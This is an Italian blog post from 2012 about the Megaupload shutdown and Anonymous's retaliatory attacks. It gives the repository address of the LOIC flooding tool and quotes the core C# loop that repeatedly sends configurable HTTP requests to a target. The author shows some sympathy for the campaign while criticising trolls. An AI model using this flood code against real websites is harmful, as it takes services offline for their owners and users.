martedì 24 gennaio 2012

Megaupload e la solita storia

Quando succede qualcosa come la chiusura di megaupload non ci si può limitare a guardare il dito.

È stato chiuso un sito di hosting, forse uno dei migliori, perchè le persone caricavano e condividevano file coperti dal diritto d'autore. Oramai il mio punto di vista è chiaro su questi argomenti. Tutte le volte le autorità ci cascano e si accaniscono sui mezzi. Con lo stesso principio potrebbero essere rimosse dal mercato le automobili visto che, se guidate da persone ubriache o drogate, possono causare danni e morti.

Dall'altra parte voglio leggere la reazione di Anonymous come una difesa del diritto di utilizzare un servizio cloud. Arriviamo dunque al punto di quest'articolo: Tool used in Anonymous Megaupload campaign.
Il tool di cui parla l'articolo è un flooder scritto in C# che può essere clonato da git://github.com/NewEraCracker/LOIC.git. Vi post qua sotto la parte principale nella quale si vede come si sviluppa il flood. Niente di complicato.
Ottima la richiesta http completamente configurabile che viene inserito nel buffer in uscita dalla prima riga.
byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}", Subsite, (AllowRandom ? Functions.RandomString() : null), Functions.RandomUserAgent(), Host, (AllowGzip ? "Accept-Encoding: gzip, deflate" + Environment.NewLine : null), Environment.NewLine));
        IPEndPoint RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
        while (IsFlooding)
        {
          State = ReqState.Ready; // SET STATE TO READY //
          LastAction = Tick();
          byte[] recvBuf = new byte[64];
          Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
          State = ReqState.Connecting; // SET STATE TO CONNECTING //

          try { socket.Connect(RHost); }
          catch { continue; }

          socket.Blocking = Resp;
          State = ReqState.Requesting; // SET STATE TO REQUESTING //
          socket.Send(buf, SocketFlags.None);
          State = ReqState.Downloading; Requested++; // SET STATE TO DOWNLOADING // REQUESTED++

          if (Resp)
            socket.Receive(recvBuf, 64, SocketFlags.None);

          State = ReqState.Completed; Downloaded++; // SET STATE TO COMPLETED // DOWNLOADED++
          tTimepoll.Stop();
          tTimepoll.Start();

          if (Delay >= 0)
            System.Threading.Thread.Sleep(Delay+1);


Un'osservazione interessante da fare è la facilità con la quale chiunque può flooddare un sito e contribuire a questo tipo di rappresaglie. Ma ecco anche come viene meno la filosofia iniziale del movimento nel momento in cui all'interno dell'insieme "chiunque" finisce solo chi ha voglia di rompere e trollare. Buona lettura / studio ;)